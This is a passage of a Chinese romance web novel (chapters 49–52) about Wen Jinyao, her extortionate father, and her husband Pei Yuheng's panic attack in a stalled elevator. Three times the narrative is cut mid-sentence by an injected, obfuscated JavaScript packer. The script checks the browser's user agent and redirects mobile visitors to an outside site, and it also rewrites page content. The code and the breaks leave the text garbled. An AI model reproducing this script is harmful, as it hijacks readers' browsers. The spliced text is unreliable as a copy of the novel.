她以为是裴聿珩那边有什么事,赶忙接起来:“喂?” 那头嘶哑的声音却像是从梦里一路追到了现实里,严丝合缝地接续了她未竟的噩梦:“女儿,爸爸来找你了。” 49. 第 49 章 温今遥头脑清晰地知道,她现在应该口齿清晰地骂回去,应该不留情面地挂掉电话,可她的身体僵在原地,动也动不了。 于是她被迫听完了温全剩下的话。 “我知道你跟小少爷结婚了,也知道他为了你惹出了事。今遥,爸爸没有看错你,你才是最知道什么时候葡萄最甜的人。” “我想通了,既然你现在条件这么好,就再给我一千万,一次结清,我再也不来找你们的麻烦。” “我看新闻了,是有人在他们家的酒店里贩毒啊?这种办法,我怎么就没想到啊?” “不过也没关系,我现在知道了。” 电话那头的温全声音并不扭曲,最初的那点沙哑过后,甚至称得上正常,可他每说一个字,都让温今遥的心往更深的地方沉去。 这种事情发生一次,还可以推说是无妄之灾,如果再有第二次甚至第三次,鸿禧在外面会是什么名声,她想都不敢想。 那要怎么办?难道要让每个进鸿禧的人都严格安检搜身,住个酒店比进拍卖会场还要难? 她毫不怀疑温全的人品,这种事他绝对做得出来。而以裴聿珩的疯劲儿,让他们两个对上,要是再抖出十几年前的绑架案,那一切就真的无从挽回了。 温今遥沉默了很久,才道:“我们准备离婚了。” “……什么?” “我说,我们准备离婚了。”她一字一句:“签了婚前协议,家产没有我的份,但我自己攒下了一些钱。” 睡在她旁边的姜姨早就醒了。 听着温今遥接起电话,却长久地沉默,她本能地知道是出了什么事,原本以为肯定跟裴总有关,但是听到最后,刚刚还为了裴总泪水涟涟的温小姐突然语气严肃地说,他们要离婚了。 姜姨懵了。 那边接着说了什么,她无法知道,只听见温今遥又说:“可以,你在哪里?” 姜姨怀疑自己年纪大了耳背,温小姐的声音刚刚还软糯可亲,这时候怎么忽然变得又冷又硬了? 温今遥没再说什么,挂了电话,抱着膝头坐在床上,好像在发呆。 姜姨小心翼翼开口:“怎么啦?” 温今遥忽然回神似地,浑身轻颤了一下,转头笑道:“没,我朋友打来的,真心话大冒险,跟我闹着玩呢。” 月光从她背后洒进卧室,在她肩上披上一层轻纱,模模糊糊映亮了她半边脸庞,衬得另一侧愈加漆黑幽暗。 暗夜流经她的侧脸,于是姜姨没有看到她另外一边下沉的唇角,只听见她低声说:“会没事的,都会过去,睡吧,姜姨。” …… 等裴聿珩有空再次抬头望向窗外,已经是又一个夜晚。 各路神仙和妖魔鬼怪,该安抚的安抚,该对峙的对峙,中午官方通告一出,警方反而感谢鸿禧集团做出的大力贡献,股价颓势好歹在闭市前将将勒马。 贺中自然号丧似地哭上门来,裴聿珩一直在开会,只是增加了保安将他死死拦在外面。他毕竟也理亏,见裴聿珩一直不愿意见他,愤愤地放了狠话,说他收拾不了,自然有人能收拾得了,便无法可想地离开了。 裴聿珩听了,眉毛都没有动一下。 有人能收拾,这个“有人”还能是谁? 只能是裴崇。 说白了贺中跟贺霄就是炮灰,真正翻云覆雨在这斗法的,是裴家的亲父子。 裴聿珩坐在一盏灯都没开的办公室里,眼神失焦地弥散在打在对面画框的一片光中,忽然笑出声来。 没劲,真的没劲透了。 不过没关系,他已经有自己的家了,无论如何,还有人在家里等他回去。 忙起来根本来不及安慰她,今遥可能都吓坏了吧,不知道有没有好好睡觉? 外面刀光剑影枪烟砲雨,可只要想起那个人的笑眼,裴聿珩就觉得人世可亲。 手机消息一片空空荡荡,想来是她怕打扰了正事,硬忍着不来问他,倒是克制乖巧。 官方公告她看到没有?看到警方蓝底白字的定论,不知道她会不会原谅他的一意孤行? 这总不算是不顾后果了,大概还能捞她一句夸奖。 裴聿珩这么想着,从电梯往家门口的一小段路,他走得极轻快,指纹锁滴滴一响,他声音带着疲惫却昂扬的笑意:“今遥?我回来了。” 想象中女孩雀跃着冲出来奔向他的欣喜画面并没有发生,公寓里一片空荡,连个人影都没有。 ……出门了? 裴聿珩拧起眉头。 这个节骨眼,出门? 比起“她为什么一点也不为我担心”这种想法,他第一个想到的,是她会不会被发疯的贺中直接绑走,毕竟人在盛怒之下,做什么都有可能。 他没再多想,直接拨了语音电话。 那边倒是接得很快:“喂?” 她的声音听起来波澜不惊,环境听起来也安静,不像是出事的样子。裴聿珩瞬间松了口气,温声道:“我回来了。你在哪里?” “我在朋友家里,”温今遥道:“事情都解决了吗?” “嗯,全部解决了。” 不同于裴聿珩想象的反应,她听了之后默了默,然后道:“哦,那就好。” 这不是那个半夜担心他担心得睡不着觉,为了不让他冒险宁愿自己咽下委屈的人该有的反应。 裴聿珩一颗心沉了沉,问:“怎么了吗?” 温今遥:“没什么,解决了就好啊,你辛苦了,好好休息。”顿了顿又道:“我朋友这边有点事情,这两天可能不回去住了。” 裴聿珩诸多问题都被她这一句顶了回来,到最后只能答:“好。” 挂电话之前,他忽然听见那边叫他:“裴聿珩?” “嗯,”他立刻重新拿起电话:“我在的。” “之前你问过我的那个答案……”温今遥犹豫半晌,还是道:“我觉得,我们还是分开吧。” 像是怕他追问什么,她紧跟着道:“你放心,我什么都不要,净身出户,只是你给我账户里存的钱,我可能要带走一部分。” “之前的那三百万,我可能也还不上了,你家大业大,就别跟我一般见识了吧,行吗?”温今遥说。 有几秒钟裴聿珩怀疑自己得了失语症,因为那边说的话,他好像每个字都明白,又好像一句都没听懂。 “不是……前天晚上,我们不是还好好的吗?”他没办法再维持住自己平稳的声线:“不到四十八小时,发生了什么?” “也没有,”她回答:“我只是突然梦醒了而已。” 梦里,她真的足以与他相配,而现在梦醒了,她满身脏污,发现自己还是那个一文不名的野丫头,身后还背着个吸血鬼。 她怎么敢靠近呢,稍一靠近,吸血鬼就会爬到他身上,饮血啖肉,直到撑死为止。 其实以裴聿珩对她的深情,她完全可以直接把吸血鬼扔到他身上,让他处理,自己躲在一边看戏,不管他会做出什么事来。 不管什么代价,他都付得起,这不是他自己说的吗? 但温今遥想了又想,还是舍不得。 他已经够苦了,好不容易走到今天,何必还要再打碎他的梦,让他看清他心心念念那么多年的人,是这样不堪呢? 算了。 于是她硬下心肠:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14137144|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好了,你要一个答案,我就给你一个答案,我要说的就这么多了。你看看你什么时候有时间,我们去办一下手续。” 裴聿珩罕见地步步紧逼:“你总得给我一个说得过去的理由。” 温今遥下了半天决心,那句“不喜欢你”也还是说不出口。 所以她只能退而求其次:“别问了吧,裴总向来体面,离婚还能是因为什么,你自己心里不清楚吗?” “我不清楚,我也不需要体面。”裴聿珩坚持:“我只知道想要离婚的人不会担心我,不会求老板不要跟鸿禧解约,也不会在那种时候……”他深深咽动一下:“不会在那种时候,逼我说爱她。” “你现在不愿意说,我不逼你。但是今遥,我绝对不会就这样放你走。”到最后,他语调反而轻松起来:“我不会把那些手段用在你身上,但我可以等。” 温今遥手忙假乱挂了电话。 妄想在打机锋上胜过裴聿珩,她功力少说还差一千年。 她叹息一声,低头看父亲堆在自己出租屋里乱七八糟的行李,实在疲惫得紧。 温全这样找上门来,于情于理她好像都应该赡养他,可他想要的,明显不是普通的赡养那么简单。 既然他知道了她和裴聿珩有过这一层关系,让他留在北城一天,他就会蠢蠢欲动,永远得陇望蜀,妄想不属于他的一切,那裴聿珩就算不上安全。 如果……如果辞职的话…… 如果她辞职,强行带温全回老家,那她就可以紧紧盯住他,不让他有所行动,就当个人形锁妖链,把他锁在身边,让他一辈子都不要靠近北城,不要靠近裴聿珩。 至于她自己,反正已经烂了,不如就拖着温全烂在一处、烂个彻底,也算功德一件。 她慢吞吞地点开李玉的微信,盯着对话框许久,指尖悬停在屏幕上,却一个字都打不出来。 ……不甘心啊。 她吃了多少苦才走到今天,那份事业,几乎是这个世界上唯一能证明她价值的东西,离开了威禾,离开了北城,她就真的一无所有了。 温今遥尚未拿定主意,客厅忽然传来一声碗碟碎裂的声音。 她出去一看,自己炒的菜一口未动,整个扣在地上,盛菜的盘子摔得四分五裂,瓷片溅得到处都是,大小不一地躺在淋漓的菜汤里,一片狼藉。 温今遥大声道:“你干什么!” 温全无辜地眨眨眼:“手滑了,一下子没端住。” 放屁,温今遥腹诽,谁家吃饭直接端起菜盘子吃的? 她奔忙一天水米未进,这时候饿得前胸贴后背,硬压着怒气问:“你到底想干什么?” 温全哈哈一笑:“你不是有钱吗,给你爸吃点好的吧,我看烤鸭就不错。” 温今遥冷笑:“嘴养刁了,小心以后活不下去。” 既然决定要烂在一起,不如就从这顿饭开始。 她把没挨到地的菜捡起来,放进新盘子里,自己先吃了一口,随后把盘子往温全面前一推:“爸,你怎么不吃呀?是我做得不好吃吗?” …… 裴聿珩一个人在家里,心烦意乱,在看了三个电影的开头后,终于决定出门去走走。 他拉开门,一抬头,竟然看见了在门口不住徘徊的姜姨。 “裴总,出门呀?”姜姨显然没料想到自己没敲门就见到了他,无措地搓搓手:“那个,我来看看温小姐。” “温小姐”这三个字成功让裴聿珩拧起眉头:“她出门了,姜姨有什么事吗?” 姜姨探着头向他身后望了望,见屋里真的没人,才拉住他的手臂:“我不找她,我找你,我有点事要同你讲。” 50. 第 50 章 裴聿珩开车疾驰在北城街头,宾利几乎开出法拉利的速度。 腕表指针已经滑向凌晨一点,可他丝毫没有“明天再说”的意思。连日来的疲惫周转已经熬干了他的精力,但内心深处的深重渴望像一根看不见的傀儡线,限制他、牵引他,让他不得不烧尽最后一丝能量,在这个寂静空荡的夜晚,破釜沉舟,去寻找一个最后的答案。 姜姨的话言犹在耳。 “昨天夫人睡着睡着忽然接了个电话,声音就不对了。” “她整个人都变了呀,哦哟变得我都不认识了,怪害怕的,我也不敢问,只能又哄她睡了。” “她电话里说你们要离婚了,不是真的吧?我猜想不是真的,我来的时候给她吃水果,她担心你还担心得哭了。” 裴聿珩分明的骨节扣紧了方向盘,什么朋友家,她在北城根本没有朋友。 他就知道,这件事不是她说的那么简单。 两个月的朝夕相处,加上少年时代的深重情谊,让他模模糊糊感觉到她身后总有一团蓄势待发的阴影,它恐怖、危险、时隐时现,总在今遥独处时堂而皇之地逡巡在周围。有时她忽然从这团阴影里拔出,看向他的眼神,是他所不能理解的悲伤和退缩。 他明明曾经有那么多机会,去探究、去保护,可他从来没有问出口。 总觉得来日方长,总觉得她对自己还不够信赖。 一股无名火突然从心底呼啸着掀起,裴聿珩一拳打在方向盘上,捶出一声短暂的嘶鸣。 等什么时机,要什么完美,昨晚在微信里他分明感觉今遥是想说的,她想用自己的爱意,在风雨飘摇里换他一丝安稳。 为什么要托大,为什么不让她说出口? 从CBD到她的出租屋,地铁要换乘两次,通勤时间一小时零五分,裴聿珩用了不到二十分钟,重新走了一遍她离开的路。 他一脚刹车将车停在她楼下,不假思索地迈进单元门,抬手便推安全通道的门。 没推开。 这栋楼唯一的消防通道,因为这段时间总有人在里面随地大小便,被物业锁了。 裴聿珩动作一顿,转身看向了身后的电梯。 脏污的金属门上贴满了皮癣一样的小广告,相互倾轧覆盖,像在一张森寒冷硬的紧闭大口周围,喧嚷着粉饰太平。 他没得选,要么打道回府,要么在楼下坐着,等第二天温今遥下楼来。 可是他等不了了。 他只犹豫了两秒,指尖便不受控制一般,豪赌似地按下了电梯键。 裴聿珩曾最不认同急躁的人,因为事缓则圆,心急火燎,只会让事情变得更糟。 但真到了这个时候,他才发现,自己原来还可以比想象的更丑陋。 电梯上六楼大概需要十二秒,但小区电梯老旧,这个时间很可能会延长到二十秒。 电梯叮地一声,闪着寒光的门在裴聿珩面前訇然中开,他如同被蛊惑一般,毫不犹豫地迈了进去。 二十秒,应该还不足以让他惊恐发作。难受也没有关系,只要挺过二十秒,就能见到她。 脚下一阵失重,窒息的憋闷感潮水一般从四面八方向他涌来,四周的光滑墙壁如同有了生命,从四面八方冲着他直直倒下…… 裴聿珩闭上眼睛。 2层,窒息缺氧,头脑渐渐开始昏沉。 ……她说过,她是我的爱人。 3层,后背纷至沓来的痒意如同跗骨之蛆。 ……她不喜欢不纯粹的爱,我要时时刻刻记着。 4层,有不明声音在他耳边响起,呢喃着他听不懂的话。 ……她会嫉妒、会吃醋,会像小仓鼠一样把赚来的钱存起来。 5层,黑暗中似乎有东西伸出触角,掩住他的口鼻,撕扯他的身体。 ……她吃过很多苦,一切都因我而起。要想得到救赎,就要十倍百倍地对她好。 期待的双脚重新落回地面的踏实感并未如约而至,电梯忽然一阵剧烈晃动,厢内照明应声而灭,不受控制似地向下坠了一秒,而后蓦地一顿,发出巨大声响,悬停在了中间。 裴聿珩睁开眼睛,发现显示面板一片漆黑,应急通话键在黑暗中亮着一圈幽幽的红光。 ——电梯故障,卡在了五楼。 应急通话连接的是物业值班室,一个会把消防通道上锁的物业,显然不能指望他们在凌晨一点多还在兢兢业业值班。 裴聿珩撑着最后一丝清明,给吴桓发了定位,然后几乎是本能般地,拨通了温今遥的电话。 彼时的温今遥并未入睡,她躺在那张断了弹簧的沙发上,望着天边那一缕细细的月亮,毫无睡意。 手机在茶几上嗡鸣,她盯了屏幕上的名字几秒,还是接起来:“喂?” 假性缺氧让裴聿珩急促喘息,他扶着轿厢侧壁,竭尽全力平稳呼吸,免得像上次在游轮上一样,再吓到她:“睡了吗?” “还没有,什么事?” “就是,”他谨慎地稳了稳声线:“想听你说说话。” 他以为自己遮掩得够好,但藏在字缝里细微的战栗扰动如水电波,明晃晃地落进温今遥的耳朵。 温今遥:“你在哪里?声音怎么听起来这么……” 这种战栗她似乎在哪里听过。 她凝眉思索了一阵子,忽然翻身从沙发上坐起来,提高了声音:“裴聿珩,你是不是惊恐发作了?” 卧室传来温全在梦中不耐烦的梦呓,温今遥随手拿了件衣服,披上就往外走:“你在哪,现在感觉怎么样?有没有别人跟你在一起?” 裴聿珩静静听着她那边排山倒海一样的动静,忽然低声笑了。 温今遥给他气得不轻:“都什么时候了你还笑!” “我在你家单元楼的电梯里,”裴聿珩轻喘了一声:“电梯故障了,可能掉回了五楼,我不确定。” 温今遥急得眼泪都快下来了:“你别急,你坚持一下,我这就去物业拍门,那群死出……” “今遥,”他轻声打断她:“今遥,不要怕,也不要担心,吴桓、在路上了。” 他听见听筒那头,温今遥踩着拖鞋,脚步声啪啪作响:“那我能做点什么,我去找你,好吗?” “好。” 温今遥已经在这里住很久了,久到她早就暗搓搓地搞到了安全通道门锁的钥匙。她几乎是狂奔而下,扑到五楼电梯冰凉的金属门上,对着里面大喊:“裴聿珩?你在里面吗?” 他微弱的声音隔着厚重的电梯门板,与听筒里合二为一:“今遥,我在。” 温今遥慢慢在电梯门口蹲下来,面对着里面,直接就哭了:“你来干嘛呀,这破电梯一直都不好用,我都没让你上来过……” “因为……很想你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14149697|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”这么短的句子,他都已经有些难以为继:“这么晚把你叫出来,抱歉。” “抱什么歉呀你!”温今遥眼泪大颗大颗往下掉:“你是不是很难受,你不要说话了……” 裴聿珩把大衣扔在一边,曲腿坐下,背靠在电梯门上:“有些喘不上气,但听见你的声音,就会好一点。”他额头上细细密密全是汗:“我来,是想听你的答案。” 温今遥急道:“你别,咱们先出来,然后好好聊不行吗?” 裴聿珩笑:“这个情况,我真的不确定我还能不能听到。”不等温今遥急急打断,他就道:“就当可怜我,再可怜我一回。” “我什么时候可怜过你……” “每一天,”裴聿珩紧闭着眼,竭力对抗愈加沉重的昏聩:“我们在一起的每一天,我都觉得你是在可怜我。” 温今遥慌不择路地被他赶进死胡同:“我从来没有可怜过你!我、我那是……” “没有吗?”裴聿珩虚弱地问:“你为我担心,为我流泪,为了让我安心假装是我的爱人,这些,都不是可怜吗?”他深深地吸了一口气,又溃散似地吐出,声音更低:“那是为什么呢?” 温今遥急得崩溃大哭:“我那是喜欢你呀裴聿珩!我喜欢你!” 那边空气陡然静默,温今遥抽噎着附耳去听,竟然没有任何动静。 她抬手叩响电梯门:“裴聿珩?你怎么了?” 五六秒之后,裴聿珩手掌按着自己好不容易平复下来的心跳,虚虚出声:“大概是心率过快了。” 温今遥大大松了口气,后知后觉又被算计,愤愤抹掉眼泪:“姓裴的你只要有一口气你都要给我下套!” 门缝里透出一点点走廊上的光,浮在弥散的黑暗里,像一把刺破黑暗的钥匙。 “那你可以告诉我,你为什么想离婚吗?”他问。 这回轮到电梯外沉默了。 温今遥从不是这样遮遮掩掩的性格,面对面却一言不发,听上去更像是裴聿珩会做的事情。而这次沉默太久,也太喧嚣,惊扰得裴聿珩不得不出言打破:“今遥?还在吗?” 裴聿珩几乎疑心自己已经昏厥了,所以才听不见她的回答。他硬撑着把手伸进口袋,干吞了两粒抗焦虑药,才听见她小心翼翼的声音。 “我本来觉得,不告诉你才是对的,因为怕你受伤,也怕你又不顾后果,做出什么会伤害自己的事情来。结果你不但半夜跑来了,还把自己关进电梯里……” “那就当做我给你讲的一个故事,你不用说话,只要安静地听,好吗?” 裴聿珩:“……好。” 声控灯已经灭了很久,她声线绵绵地在黑暗总流淌,并没有惊动灯光:“你可能觉得,我又自卑,又不够坚定,总觉得自己配不上你,一有风吹草动就想退缩,是因为我是个平凡的女生,我没有聚光灯下顶级的美貌,也没有富可敌国的家世,更没有惊才绝艳的才华,所以自卑,觉得高攀不上你,才不想跟你在一起,是不是?” 她真的没想要裴聿珩的回答,只是自顾自地讲述:“其实不是的,我靠自己在北城立足,用双手养活自己,我从不觉得做一个普通上班族是一件很丢脸的事,也不认为这样我就比谁低贱了。但是……” 温今遥深吸了口气:“聿珩哥哥,你十岁的时候,是不是被人绑架过,绑你的人是谁,你真的不记得了吗?” 51. 第 51 章 冷汗淋漓中,裴聿珩清浅的呼吸在静谧夜里悬停一秒,没有第一时间回答。 他知道,他们的关系已经走到了十字路口,这个问题的答案,将推着他们走向注定的结局。 裴聿珩很想遵循本能,说他不记得了,他也不在乎,那对他来说只是多年前的一件小事。以他的口才话术总能把这件事的阴影降到最小,打消她的顾虑,也好让自己显得不那么处心积虑、居心叵测。 可是他忍住了。 温今遥说过,她想要的是纯粹的感情。而纯粹的底线,不该是诚实么。 他过去或许做不到,但这次,他想为了她冒险一试。 他不想再埋下一颗随时会爆炸的雷,他只想跟她平平淡淡、长长久久地走下去。 可如果诚实……代价是失去呢? 裴聿珩闭上眼睛,仰头靠在冰冷的金属门板上,深深吸了一口气。 他看不见,门的另一侧,温今遥也以同样的姿势靠坐在门口,两颗心分明以同样的频率在搏动,两双眼睛,却在黑暗中看向完全不同的未来。 裴聿珩又干吞了几片抗焦虑药,静静等着它起效:“嗯,我记得。” 断续抽搐的呼吸在药力作用下稍稍平稳下来:“那一天我一直都记得,家里来了新的司机叔叔,还带着个可爱的妹妹,我上了车,他给了我一瓶水,然后我就什么都不知道了。” 他声线还带着一丝暧昧的昏沉,飘飘荡荡,把温今遥模糊失焦的思绪,也慢慢牵回十几年前那个闷热的夏天。 她记得那一天爸爸开的是自己家破旧的桑塔纳,到学校接裴聿珩之前,他头上的汗像水洗一样往下流。 她记得自己乖巧地坐在后座,等那个好看的哥哥上了车,她给了他一块好吃的小饼干。哥哥对她笑了,眼睛漂亮得像天上的星星。 她记得自己攀在驾驶座的靠背上,轻声对爸爸说:“爸爸,哥哥怎么睡着了?” 她记得爸爸喃喃地说:“睡着了好,我不用再受苦了。”他一直没有回头,一直看着前路,一直在说,“我不用再受苦了。” 很多年之后,温今遥又想起家里平房顶上的电线,吊着一枚昏暗的灯泡,在不祥的风中无枝可依地晃动,父亲在飘摇的灯下对着电话大吼,闪烁的影子像鬼一样投在开裂的白墙上:“人我都绑来了,现在你们说不干了,我怎么办?!” 潮闷欲雨的气息残留在温今遥的鼻尖,让她在十几年后的冬夜依然喘不过气来。她无声地吸了吸鼻子,道:“所以你为什么要跟我结婚,为什么要跟我纠缠,又为什么……为什么要把我跟我爸留下?裴聿珩,你最好不要告诉我,一切都是为了报复。” 如果是为了报复,那他真的做到了,只不过伤敌一千,自损八百,倒也很有他的风格。 裴聿珩在电梯里,沉默地垂下眼睛。 半晌,他慢慢道:“你以为有私心的只有你一个人?对啊,我为什么要留下你们,这么多年,你都没有想通吗?” 当初他在后备箱里被温今遥唤醒,一个人冒着雨,深一脚浅一脚地找到大路,用零用钱打车回了家,好不容易打开熟悉的家门,里面却空无一人。 饭菜好好地摆在桌上,父母都不见踪影,连丁姨也不知去忙什么了,他一个人站在门口,浑身湿透,衣摆和裤脚都往下滴滴答答地滴着水,眼底还包着恐惧的泪水,却像是从一处危险,跑进了另一处与他无关的地方。 “我回来了。”他说。 没有人回答。 他装作无所谓地把手插进校裤口袋里,忽然碰到了一块方形的东西——是那个漂亮妹妹给他的饼干。 饼干廉价,包装跟味道一样简陋,可能是被潮气泡过,入口疲软不堪,满嘴都是香精味。裴聿珩面无表情地吃完,拿起座机,给父亲打了个电话。 “嗯,我到家了。” “新的司机叔叔很好,还给我准备了零食。” “不吵,她很乖,我想跟她一起上学。” “好,那就这样。爸爸再见。” 裴聿珩挂掉电话,额前的碎发黏在脸上,对着空气露出了一个得逞的微笑。 那辆车好破,他们很穷,他知道。 这样一家人,不可能拒绝裴家司机那份丰厚的薪水。 如果叔叔以后老实本分地当司机,那他就可以有一个小伙伴;如果叔叔再动歪脑筋,那么起码,他的父母会后悔。 这让十岁的裴聿珩小小的心里,竟然升起了无限快意。 只要想到爸爸妈妈会坐在他的房间里痛哭,互相责怪为什么没有早早发现司机的不对,懊悔他们对他的忽视,提到他就会争吵,裴聿珩就觉得无比快慰,甚至比他拿到第一名,爸妈的目光在他身上短暂地停留,还要欣快。 这些阴暗的心绪早被他若无其事地刻意埋葬了许久,今天忽然翻出来,裴聿珩惊觉自己十岁的时候,就已经丑陋得如此触目惊心。 “对我来说,你爸爸绑架了我,但是你救了我的命。我见过的恶意太多,实在不稀奇,可善意总是珍贵。”裴聿珩声音很轻,却很坦然:“你可以说我居心叵测,但到今天,我也还是坚持,我对你的感情或许不够纯粹,但它已经是我能给的最好的东西——幽闭恐惧就是命运替你向我讨回的代价,如果你觉得还不够,大可以另外向我讨要,只是不要离开我,可以吗?” 温今遥望着窗外浓墨漆黑的茫茫夜色,泪如雨下。 她以为多年来只有她一个人孤独地背着一个秘密,它让她不配,让她羞惭,让她在责任和渴求之间徘徊不前。 今日看来,迷途不知返的,又何止她一人。 陡然间卸下负担的松快令她痛哭:“可是他追来了,他又追来了……他又会像以前那样伤害你、对你不利!怎么办呢聿珩哥哥,我还是、还是保护不了你。” 裴聿珩紧绷的肩膀忽然松下来。 原来是这样,这远比他想象的情况要简单。 他想,如果今遥嫌弃他的算计,他应该怎么一步一步学会坦诚,她还愿不愿意给自己这个时间,都是未知数。但如果她的理由仅仅是一个无关痛痒的人,那他有一百种办法能让这个人无声无息地消失在她的生活里。 温全之所以可怕,是因为他的今遥陷在八岁那年潮湿的阴影里,从来没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162441|143701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长大。 裴聿珩轻轻舒了口气,拿起手机给等在楼下的吴桓发了信息:带人上来吧。 他轻声哄劝:“那也没有关系,你要是害怕,我就带你藏起来,让他找不到我们,好吗?” “你不知道他……”温今遥冰凉的眼泪不住地掉:“他那么坏,他要陷害你的!” “这些都不是什么问题,今遥,我唯一担心的一点是,他是你的父亲。” 那离谱的三百万欠款他早让人查过,这笔钱既不是有法律效益的合约,也不是什么赔偿,那只是温全随口说的一个压榨女儿的数字。 这个数字可以是八百万,可以是一千万,只要他人心不足,它就可以一直翻倍、膨胀,直到他死的那一天。 除了今遥尚对家人抱有不舍,对亲情存在幻想,他想不出任何她会答应的理由。 “我也希望你可以两全,但是今遥,人生在世,有时候确实必须做选择。” “我有很多办法,但无论哪一种手段,都不可能还给你一个善良且爱你的父亲,跟你共享天伦。” “我曾经跟你有同样的困惑……少年时我一直在想,我爸到底爱不爱我,他对我做的那些事,到底是不是爱?到现在我依然不知道答案,只不过我已经不在乎了。”裴聿珩深深叹一声:“这一次如果你选了他,那我就尊重你的选择,放你走,不会再纠缠。” “今遥,”他轻轻叫她:“你要想好。” 温今遥哭到麻木的眼睛忽然泛起滔天的波澜。 是这样吗? 一直以来她这么痛苦,以为自己背着负担无处可逃,其实都是她给自己设下的陷阱,因为太想要,所以舍不得放手吗? 即使温全那样对她,除了血缘之外,没有一点能称得上是一个父亲,她也还是苦苦等待,想要让他来爱自己,哪怕赔上一生也在所不惜? 这就是……最后的答案么? 这么多年,她都对自己做了什么? 将她困住许多年的生锈枷锁毫无征兆地突然脱落,温今遥愣在当场,心脏狂跳,四肢却艰涩地动弹不得,甚至无法面对突如其来的自由。 裴聿珩又咽了一次药,因为害怕自己忽然晕厥,他把药瓶里所有剩下的药片全部倒进了嘴里,上涌的药劲几乎让他晕眩。 他陪着温今遥沉默着,用力对抗着心里升起的久违的惴惴不安。 不要骗她,相信她,让她选。 他还没有听到温今遥的回答,外面就传来一阵凌乱的脚步声,想是吴桓带了人上来,终于撬开了安全通道的锁。 一阵刺耳又混乱的声音过后,电梯大门轰然而开。 新鲜空气海浪一样迫不及待奔涌进来,裴聿珩坐在角落里,身上的衬衫已经被冷汗湿透,走廊中刺目的白光利剑似地刺破静谧暗夜,他别开脸,在眼睛感到刺痛之前,就先被一只柔软冰凉的手覆上。 温今遥半跪在他身边,湿润的脸颊靠在他侧颈,凌乱濡湿的呼吸轻轻喷在他耳边:“我想好了,我选你。” “聿珩哥哥,”时隔多年,她终于说出了那句永无休止萦绕在她梦里的请求:“我们逃跑吧。” 52. 第 52 章 在这个更深露重的冬夜,温今遥跟自己的丈夫,践行了一场迟到多年的私奔。 他们衣着单薄,却紧握着彼此的手,紧张而笃定的脚步声哒哒回响在晦暗肮脏的楼道里,踏着东方天际漫起的熹微晨光,越过一扇又一扇紧闭的门,一个又一个未知的转角,她的目光始终紧紧锁着男人坚实的肩线,和他一直前自己一个身位的身影。 这个人,他总是走在我前面,温今遥一边紧绷地喘息,一边想,他为我指的每一条路,他都已经亲身淌过一遍。 小时候的过往,他向她证明没有难题是做不出来的;长大后的今天,他向她证明没有家人也一样能过得很好。 他向她证明有瑕疵的爱也同样珍贵,即使埋下的种子远称不上体面,最后也依然能开出温柔绚丽的花来。 覆盖着潮湿灰尘气息的楼梯终于行至尽头,温今遥用手里的钥匙打开了最后一扇阻隔她的安全门,又拉起身边裴聿珩的手:“走吧。” “东西都不收了吗?” “不要了。” “好。” 那个潮闷的夏日雨夜,她奔跑了许多年,终于在今天破开梦魇一样的雨雾,牵着自己想要牵住的手,一步踏出不停循环的噩梦,并将永不回头。 裴聿珩的大衣穿在她身上,在夜风中猎猎作响,指尖因为寒冷和兴奋不住地颤抖。温今遥一只手攀上裴聿珩的手臂:“聿珩哥哥,我们——” “女儿?”一声嘶哑但清晰的呼唤蓦地响在她身后:“你又要去哪?” 温今遥的脚步不由自主地停下来。 不止是脚步,她整个人都随着这声叫喊石化了,身体不听使唤地僵硬着,做不出任何反应和动作,甚至连回头都做不到。 裴聿珩感觉到身后的人忽然一顿,拉着他的手猛地停在原地,一直被握住的衬衫下摆因为惯性从她的掌心滑落。 他回身去看,身后的女孩身上披着他宽大的外套,衬得她更瘦小苍白,风一吹,那外套在她身上晃晃荡荡,像小孩子偷穿了大人的衣服。 裴聿珩抬头,对上她在冷风中麻木的眼睛。 这个表情他见过,当年她高考过后,当着整个裴家的面拒绝他的表白时,就是这样的表情。 裴聿珩的心忽然跌落进一处陷阱,这个眼神困囿了他很多年,但是到今天,他竟然才想到要问一句,那个时候她的拒绝,真的是出自本心么? 但在他想要迈步挡在她面前时,温今遥忽然抬手按住了他的肩膀。 “我已经选了,”她说:“让我自己把这些都处理干净。” 知道他长于手段,城府极深,但她总不能永远缩在他身后,从屈从于自己的父亲,变成被另一个男人豢养。 裴聿珩垂眸看她,良久才道:“好。” 温全颇有礼貌地对裴聿珩倾身:“小少爷。” 温今遥挡在两人中间,语气紧绷:“你要做什么?” 温全把手里的羽绒服塞进她手里:“外面这么冷,你跑出来干什么?” 温今遥低头去看手里的衣服,眉心几不可查地抽了抽,本能地想去接,指尖却蜷了蜷,没有伸出手。 她道:“我走了,你也回老家吧。” 温全愣了愣,问:“晚上的时候不是还好好的吗?现在又在闹什么脾气?” 温今遥一哂。 